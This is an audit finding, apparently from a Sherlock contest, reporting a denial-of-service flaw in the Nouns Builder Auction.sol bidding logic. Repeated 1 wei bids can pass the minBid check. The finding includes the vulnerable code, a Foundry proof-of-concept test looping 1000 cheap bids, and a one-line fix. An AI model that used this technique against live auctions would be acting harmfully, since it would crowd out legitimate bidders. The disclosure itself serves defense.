Nutty Rouge Toad

medium

# Perpetual small bids can DOS auction bidding

See `Auction.sol` code [here](https://github.com/sherlock-audit/2023-09-nounsbuilder/blob/main/nouns-protocol/src/auction/Auction.sol)
See `Auction.sol::_createBid()` code [here](https://github.com/sherlock-audit/2023-09-nounsbuilder/blob/db232c649b425c36f5a93607c95cfdf0e5962b2f/nouns-protocol/src/auction/Auction.sol#L158-L231)

## Summary
Where an auction is set up with no `reservePrice`, or a very low one, a user can take advantage of inadequate `minBid` check to bombard the mempool with many tiny wei amounts and crowd out any other bids. 

## Vulnerability Detail
Unless the protocol specifically sets a `reservePrice` when initialising the `Auction.sol` contract for a token, the first bid in all auctions can be zero; passing check at `1)` below.
The next bid must be cannot also be 0, see check at `4)` preventing this, so user can put in a bid of `1 wei`.
All bids from here on out will be must be equal to or greater than the minBid, see check at `3)`.
`minBid` is calculated at `2)` and assuming `settings.minBidIncrement` has not been updated by the protocol; minBid will be 10% of `lastHighestBid`.

**Exploit:**
- For a `lastHighestBid` of `1 wei` the `minBid` calculation at `2)` will resolve to 1 wei every time 
- This means a bidder can bid many many bids of `1 wei`
- `createBid` will only cost `7532 gas` per execution which equates to millions of executions per dollar (at current gas price of `25 wei` it works out to 2.6 million executions
- User could increase gas in each of their transactions to ensure their transaction is picked up from the mempool and still send many many transactions
- This can effectively crowd out other bidders either by their transactions getting dropped or they themselves cancelling them
- As an added bonus, there is nothing preventing the attacker from using the same address for each bid so all the refunded amounts will go to the same account and withdrawable in one transaction

```solidity
    function _createBid(uint256 _tokenId) private {

       // SOME CODE //

        // If this is the first bid:
        if (lastHighestBidder == address(0)) {
            // Ensure the bid meets the reserve price
1)             if (msgValue < settings.reservePrice) {
                revert RESERVE_PRICE_NOT_MET();
            }

            // Else this is a subsequent bid:
        } else {
            // Used to store the minimum bid required
            uint256 minBid;

            // Cannot realistically overflow
            unchecked {
                // Compute the minimum bid
2)            minBid = lastHighestBid + ((lastHighestBid * settings.minBidIncrement) / 100);
            }

            // Ensure the incoming bid meets the minimum
3)         if (msgValue < minBid) {
                revert MINIMUM_BID_NOT_MET();
            }
            // Ensure that the second bid is not also zero
4)         if (minBid == 0 && msgValue == 0 && lastHighestBidder != address(0)) {
                revert MINIMUM_BID_NOT_MET();
            }

            // Refund the previous bidder
            _handleOutgoingTransfer(lastHighestBidder, lastHighestBid);
        }

        emit AuctionBid(_tokenId, msg.sender, msgValue, extend, auction.endTime);
    }
```

## Impact
An attacker can effectively DOS `Auction.sol::_createBid()` with a relatively cheap attack.
They congest the mempool with identical `1 wei bids` with priority gas fee such that other bidders either cancel their transactions because they aren't going through or the transactions are dropped from the mempool as they have been there too long.
More likely to be effective where there is a small amount of bids happening on an auction; e.g. less competing bids being sent to the mempool.

## Code Snippet
Add the following test to Auction.t.sol:

<details>
<summary>`_createBid()` POC</summary>

Single `createBid()` will cost `7532 gas`.
1000 `createBid()` loop will cost `21_608_065 gas`.

```solidity
    function test_perpetual_low_bids() public {
        deployMock();

        vm.startPrank(founder);
        auction.setReservePrice(0);

        auction.unpause();
        vm.stopPrank();

        (uint256 tokenId, , , , , ) = auction.auction();

        uint256 bid1 = 0; // 0 wei
        uint256 bid2 = 1; // 1 wei

        uint256 gasStart = gasleft();

        // attacker ensures first bid that goes through is 0 wei 
        vm.prank(bidder1);
        auction.createBid{ value: bid1 }(tokenId);

        uint256 gasEnd = gasleft();
        console.log("GAS USED:", gasStart - gasEnd); // 7532

        // assert 0 bid goes through correctly
        (, uint256 highestBidOriginal, address highestBidderOriginal, , , ) = auction.auction();
        assertEq(highestBidOriginal, bid1);
        assertEq(highestBidderOriginal, bidder1);

        uint256 totalGasUsed;

        for (uint256 i = 0; i < 1000; i++) {
            
            uint256 gas1 = gasleft();

            vm.prank(bidder1);
            auction.createBid{ value: bid2 }(tokenId);

            // assert 1000 bids goes through correctly each time
            (, uint256 highestBidOriginal, address highestBidderOriginal, , , ) = auction.auction();
            assertEq(highestBidOriginal, bid2);
            assertEq(highestBidderOriginal, bidder1);

            uint256 gas2 = gasleft();
            totalGasUsed += (gas1 - gas2);

            vm.warp(2 seconds);
        }

        console.log("totalGasUsed: ", totalGasUsed);
        // 100 * createBid() loop costs 2_167_418 gas which @ gasPrice: 25 and ethPrice: 2000 => $0.00000010843

    }

```

</details>

## Tool used
Foundry
Manual Review

## Recommendation
Update the `minBid` check operator to ensure that subsequent bids always increase. Even if it only increases by `1 wei` each time it will ensure that `settings.minBidIncrement` comes into effect in the minBid calculation:
 
```diff
-            if (msgValue < minBid) {
+           if (msgValue <= minBid) {
                revert MINIMUM_BID_NOT_MET();
            }
```

`settings.minBidIncrement` will begin increasing `minBid` when `lastHighestBid` reaches `10 wei`:

```solidity
            minBid = lastHighestBid + ((lastHighestBid * settings.minBidIncrement) / 100);
```